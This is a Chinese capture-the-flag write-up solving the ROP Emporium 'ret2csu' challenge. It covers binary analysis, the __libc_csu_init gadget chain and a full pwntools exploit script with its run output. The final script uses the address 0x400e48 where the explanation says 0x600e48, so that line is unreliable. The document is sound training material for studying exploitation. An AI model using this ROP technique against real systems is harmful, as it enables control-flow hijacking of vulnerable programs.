ret2csu 题目链接:https://ropemporium.com/challenge/ret2csu.html
参考博客:https://blog.csdn.net/Ga4ra/article/details/123791650
x64 根据题目名称以及给出的提示,明显我们需要使用ret2csu,有关ret2csu的知识移步《看雪pwn入门篇》或者直接百度。这里我们还是按照常规思路来分析下。
首先查看程序保护情况:
1 2 3 4 5 6 7 8 $ checksec ./ret2csu [*]'/home/giantbranch/Desktop/rop_emporium_all_challenges/level8_ret2csu/64/ret2csu' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: '.'
可以看到程序开启了NX保护。
接着我们使用radare2来查看程序中的函数信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ r2 -A ./ret2csu [0x00400520]> afl 0x00400520 1 42 entry0 0x004004d0 3 23 sym._init 0x004006b4 1 9 sym._fini 0x00400560 4 37 sym.deregister_tm_clones 0x00400590 4 55 sym.register_tm_clones 0x004005d0 3 29 sym.__do_global_dtors_aux 0x00400600 1 7 sym.frame_dummy 0x00400617 1 27 sym.usefulFunction 0x00400510 1 6 sym.imp.ret2win 0x004006b0 1 2 sym.__libc_csu_fini 0x00400640 4 101 sym.__libc_csu_init 0x00400550 1 2 sym._dl_relocate_static_pie 0x00400607 1 16 main 0x00400500 1 6 sym.imp.pwnme
可以看到,pwnme和ret2win这次在链接库中,我们先来查看下usefulFunction函数:
1 2 3 4 5 6 7 8 9 [0x00400520 ]> s sym.usefulFunction [0x00400617 ]> pdg void sym.usefulFunction(void ){ sym.imp.ret2win(1 , 2 , 3 ); return ; }
可以看到,usefulFunction函数调用了链接库中的ret2win函数,这里一开始我觉的没什么用,后来想了想,正是由于这里调用了ret2win,我们才能直接在后续构造ROP链的时候,通过elf.plt['ret2win']
来实现对ret2win函数的调用,而不用泄露libc的地址。
我们接着进入链接库中,查看pwnme和ret2win:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $ r2 -A ./libret2csu.so [0x00000860 ]> s sym.pwnme [0x0000093a ]> pdg void sym.pwnme(void ){ ulong buf; sym.imp.setvbuf(*_reloc.stdout , 0 , 2 , 0 ); sym.imp.puts (0xc88 ); sym.imp.puts (0xca0 ); sym.imp.memset (&buf, 0 , 0x20 ); sym.imp.puts (0xca8 ); sym.imp.printf (0xd12 ); sym.imp.read(0 , &buf, 0x200 ); sym.imp.puts (0xd15 ); return ; }
我们可以看到read处存在栈溢出,并且溢出空间比较大。ret2win函数我们使用IDA来查看,IDA相比radare2还是要更直观一些。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 void __fastcall __noreturn ret2win (__int64 a1, __int64 a2, __int64 a3) { FILE *stream; FILE *streama; int i; if ( a1 == 0xDEADBEEFDEADBEEF LL && a2 == 0xCAFEBABECAFEBABE LL && a3 == 0xD00DF00DD00DF00D LL ) { stream = fopen("encrypted_flag.dat" , "r" ); if ( !stream ) { puts ("Failed to open encrypted_flag.dat" ); exit (1 ); } g_buf = (char *)malloc (0x21 uLL); if ( !g_buf ) { puts ("Could not allocate memory" ); exit (1 ); } g_buf = fgets(g_buf, 33 , stream); fclose(stream); streama = fopen("key.dat" , "r" ); if ( !streama ) { puts ("Failed to open key.dat" ); exit (1 ); } for ( i = 0 ; i <= 31 ; ++i ) g_buf[i] ^= fgetc(streama); *(_QWORD *)(g_buf + 4 ) ^= 0xDEADBEEFDEADBEEF LL; *(_QWORD *)(g_buf + 12 ) ^= 0xCAFEBABECAFEBABE LL; *(_QWORD *)(g_buf + 20 ) ^= 0xD00DF00DD00DF00D LL; puts (g_buf); exit (0 ); } puts ("Incorrect parameters" ); exit (1 ); }
可以看到,ret2win函数需要三个参数0xdeadbeefdeadbeef
0xcafebabecafebabe
0xd00df00dd00df00d
,然后解密文件,输出flag。
看到这里我们的大致思路就有了。
通过pop rdi,rsi,rdx或者mov rdi等这类的gadgets来传递参数
覆盖返回地址为ret2win@plt地址来调用函数,获取gadgets
接下来就是找gadgets:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ ROPgadget --binary ret2csu --only "pop|ret" Gadgets information ============================================================ 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006a0 : pop r14 ; pop r15 ; ret 0x00000000004006a2 : pop r15 ; ret 0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400588 : pop rbp ; ret 0x00000000004006a3 : pop rdi ; ret 0x00000000004006a1 : pop rsi ; pop r15 ; ret 0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004004e6 : ret Unique gadgets found: 11
这里我们可以看到,并没有对rdx操作的寄存器,我们在pwndbg中再查找下:
1 2 pwndbg> rop --grep 'rdx' 0x00000000004004dd : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
这里也没有找到有用的gadget,当我们缺少传递参数的gadgets时,我们就要用到ret2csu方法,这个方法能够实现万能传参。
我们来具体查看下这段gadgets:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $ objdump -M intel -dj .text ./ret2csu ··· 0000000000400640 <__libc_csu_init>: ··· 400680: 4c 89 fa mov rdx,r15 400683: 4c 89 f6 mov rsi,r14 400686: 44 89 ef mov edi,r13d 400689: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 40068d: 48 83 c3 01 add rbx,0x1 400691: 48 39 dd cmp rbp,rbx 400694: 75 ea jne 400680 <__libc_csu_init+0x40> 400696: 48 83 c4 08 add rsp,0x8 40069a: 5b pop rbx 40069b: 5d pop rbp 40069c: 41 5c pop r12 40069e: 41 5d pop r13 4006a0: 41 5e pop r14 4006a2: 41 5f pop r15 4006a4: c3 ret
我们主要用到的就是__libc_csu_init
函数的这部分,这部分又常拆分为两部分用,40069a
用来向寄存器传递值,400680
用来向参数寄存器传递参数。
结合我们的思路,我们用ret2csu来构造的ROP如下:
1 2 3 4 5 6 7 8 9 10 11 0x40069a #pop rbx; rbp; r12; r13; r14; r15; ret 0 #rbx 1 #rbp r12 #call [r12] r13 #mov edi,r13d r14 #mov rsi,r14 r15 #mov rdx,r15 0x400680 #mov pop rdi argv_rdi ret2win@plt
这里我们需要注意的有两点:
第一:这里操作的是edi,也就是只对rdi的低32位进行了赋值,而我们传递的参数高32位也是有值的,所以,我们还需要再通过一个对rdi操作的gadget来传递完整的参数。
我们从上边的gadgets可以找到:0x00000000004006a3 : pop rdi ; ret
第二:由于我们这里不需要泄露libc的地址,并且rbx=0
,所以这里的指令 call [r12]
,需要一个能ret的函数,而且这个函数内部不能有影响堆栈平衡和寄存器值的指令。注意,填在r12
处的地址需要解引用,类似got这样的跳转表,我们不能直接填入函数地址。
pwndbg工具提供了telescope命令,翻译为望远镜很形象:
1 2 pwndbg> help telescopeRecursively dereferences pointers starting at the specified address
除了got,dynamic,init_array,fini_array这几个section也可以试一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 $ readelf -S ret2csu There are 29 section headers, starting at offset 0x1930: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align ... [18] .init_array INIT_ARRAY 0000000000600df0 00000df0 0000000000000008 0000000000000008 WA 0 0 8 [19] .fini_array FINI_ARRAY 0000000000600df8 00000df8 0000000000000008 0000000000000008 WA 0 0 8 [20] .dynamic DYNAMIC 0000000000600e00 00000e00 00000000000001f0 0000000000000010 WA 6 0 8 [21] .got PROGBITS 0000000000600ff0 00000ff0 0000000000000010 0000000000000008 WA 0 0 8 [22] .got.plt PROGBITS 0000000000601000 00001000 0000000000000028 0000000000000008 WA 0 0 8 pwndbg> telescope 0x0000000000600df0 2 # init_array + fini_array 00:0000│ 0x600df0 (__init_array_start) —▸ 0x400600 (frame_dummy) ◂— push rbp 01:0008│ 0x600df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4005d0 (__do_global_dtors_aux) ◂— cmp byte ptr [rip + 0x200a61], 0 pwndbg> telescope 0x0000000000600e00 62 # dynamic 00:0000│ 0x600e00 (_DYNAMIC) ◂— 0x1 ... ↓ 2 skipped ... 07:0038│ 0x600e38 (_DYNAMIC+56) —▸ 0x4004d0 (_init) ◂— sub rsp, 8 !!!!!!!!!!!!! 08:0040│ 0x600e40 (_DYNAMIC+64) ◂— 0xd /* '\r' */ 09:0048│ 0x600e48 (_DYNAMIC+72) —▸ 0x4006b4 (_fini) ◂— sub rsp, 8 !!!!!!!!!!!!! 0a:0050│ 0x600e50 (_DYNAMIC+80) ◂— 0x19 0b:0058│ 0x600e58 (_DYNAMIC+88) —▸ 0x600df0 (__init_array_start) —▸ 0x400600 (frame_dummy) ◂— push rbp !!!!!!!!!!!!!! ... 0f:0078│ 0x600e78 (_DYNAMIC+120) —▸ 0x600df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4005d0 (__do_global_dtors_aux) ◂— cmp byte ptr [rip + 0x200a61], 0 ... 13:0098│ 0x600e98 (_DYNAMIC+152) —▸ 0x400298 ◂— add eax, dword ptr [rax] 14:00a0│ 0x600ea0 (_DYNAMIC+160) ◂— 0x5 15:00a8│ 0x600ea8 (_DYNAMIC+168) —▸ 0x4003c0 ◂— add byte ptr [rcx + rbp*2 + 0x62], ch 16:00b0│ 0x600eb0 (_DYNAMIC+176) ◂— 0x6 17:00b8│ 0x600eb8 (_DYNAMIC+184) —▸ 0x4002d0 ◂— add byte ptr [rax], al ... pwndbg> telescope 0x0000000000600ff0 7 00:0000│ 0x600ff0 —▸ 0x7ffff7800ba0 (__libc_start_main) ◂— push r13 01:0008│ 0x600ff8 ◂— 0x0 02:0010│ 0x601000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x600e00 (_DYNAMIC) ◂— 0x1 03:0018│ 0x601008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7ffe170 ◂— 0x0 04:0020│ 0x601010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7dea820 (_dl_runtime_resolve_xsave) ◂— push rbx 05:0028│ 0x601018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x400506 (pwnme@plt+6) ◂— push 0 /* 'h' */ 06:0030│ 0x601020 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x400516 (ret2win@plt+6) ◂— push 1
通过telescope
命令,我们可以得到如下:
1 2 3 4 0x600df0 (__init_array_start) —▸ 0x400600 (frame_dummy) 0x600df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4005d0 (__do_global_dtors_aux) 0x600e38 (_DYNAMIC+56) —▸ 0x4004d0 (_init) 0x600e48 (_DYNAMIC+72) —▸ 0x4006b4 (_fini)
init_array_start
函数是ELF程序的一个初始化函数,运行它一般不会对栈造成影响,但这里却改变了rsi的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 00000000000008a0 <register_tm_clones>: 8a0: 48 8d 3d d1 17 20 00 lea rdi,[rip+0x2017d1] # 202078 <_edata> 8a7: 48 8d 35 ca 17 20 00 lea rsi,[rip+0x2017ca] # 202078 <_edata> 8ae: 55 push rbp 8af: 48 29 fe sub rsi,rdi !!!!!!!!!!!!!!!!!!!!!!!! 8b2: 48 89 e5 mov rbp,rsp 8b5: 48 c1 fe 03 sar rsi,0x3 !!!!!!!!!!!!!!!!!!!!!!!! 8b9: 48 89 f0 mov rax,rsi 8bc: 48 c1 e8 3f shr rax,0x3f 8c0: 48 01 c6 add rsi,rax !!!!!!!!!!!!!!!!!!!!!!!! 8c3: 48 d1 fe sar rsi,1 !!!!!!!!!!!!!!!!!!!!!!!! ... 0000000000000930 <frame_dummy>: 930: 55 push rbp 931: 48 89 e5 mov rbp,rsp 934: 5d pop rbp 935: e9 66 ff ff ff jmp 8a0 <register_tm_clones>
我们再来看下_init
和_fini
,其实这两个也就是段.init
和.fini
里的函数:
1 2 3 4 5 6 pwndbg> disass _fini Dump of assembler code for function _fini: 0x00000000004006b4 <+0>: sub rsp,0x8 0x00000000004006b8 <+4>: add rsp,0x8 0x00000000004006bc <+8>: ret End of assembler dump.
为了节省篇幅,这里就不看_init
了,有兴趣可以自己反汇编看一下。
我们可以看到_fini
函数满足我们的要求:不影响堆栈平衡和寄存器的值
所以,根据引用关系:
1 0x600e48 (_DYNAMIC+72) —▸ 0x4006b4 (_fini)
r12
寄存器处应该填0x600e48
,而不是0x4006b4
。
我们所需的所有东西都准备齐了,ROP chain对应的payload如下:
1 2 3 4 5 6 7 8 payload = offset*b'A' payload+= p64(0x40069a ) payload+= p64(0 )+p64(1 )+p64(fini_addr)+p64(0 )+p64(0xcafebabecafebabe )+p64(0xd00df00dd00df00d ) payload+= p64(0x400680 ) payload+= p64(0 )*7 payload+= p64(pop_rdi_addr) payload+= p64(0xdeadbeefdeadbeef ) payload+= p64(ret2win)
对应的栈结构如图所示:
这里需要注意的一点是,我们在看雪pwn入门中,第一个返回地址后跟了一个填充字节,其实与我们具体的gadget有关,这段gadgets不是固定的,所以我们要根据具体的gadgets来做相应的调整,但是总体思路不变。
完整的exploit代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *context.arch = 'amd64' context.os = 'linux' p = process('./ret2csu' ) e = ELF('./ret2csu' ) ret2win = e.plt['ret2win' ] fini_addr = 0x400e48 pop_rdi_addr = 0x4006a3 offset = 40 payload = offset*b'A' payload+= p64(0x40069a ) payload+= p64(0 )+p64(1 )+p64(fini_addr)+p64(0 )+p64(0xcafebabecafebabe )+p64(0xd00df00dd00df00d ) payload+= p64(0x400680 ) payload+= p64(0 )*7 payload+= p64(pop_rdi_addr) payload+= p64(0xdeadbeefdeadbeef ) payload+= p64(ret2win) p.sendline(payload) p.interactive()
最终执行结果如下:
1 2 3 4 5 6 7 8 9 10 ret2csu by ROP Emporium x86_64 Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge. > Thank you! ROPE{a_placeholder_32byte_flag!} [*] Process './ret2csu' stopped with exit code 0 (pid 23048) [*] Got EOF while reading in interactive $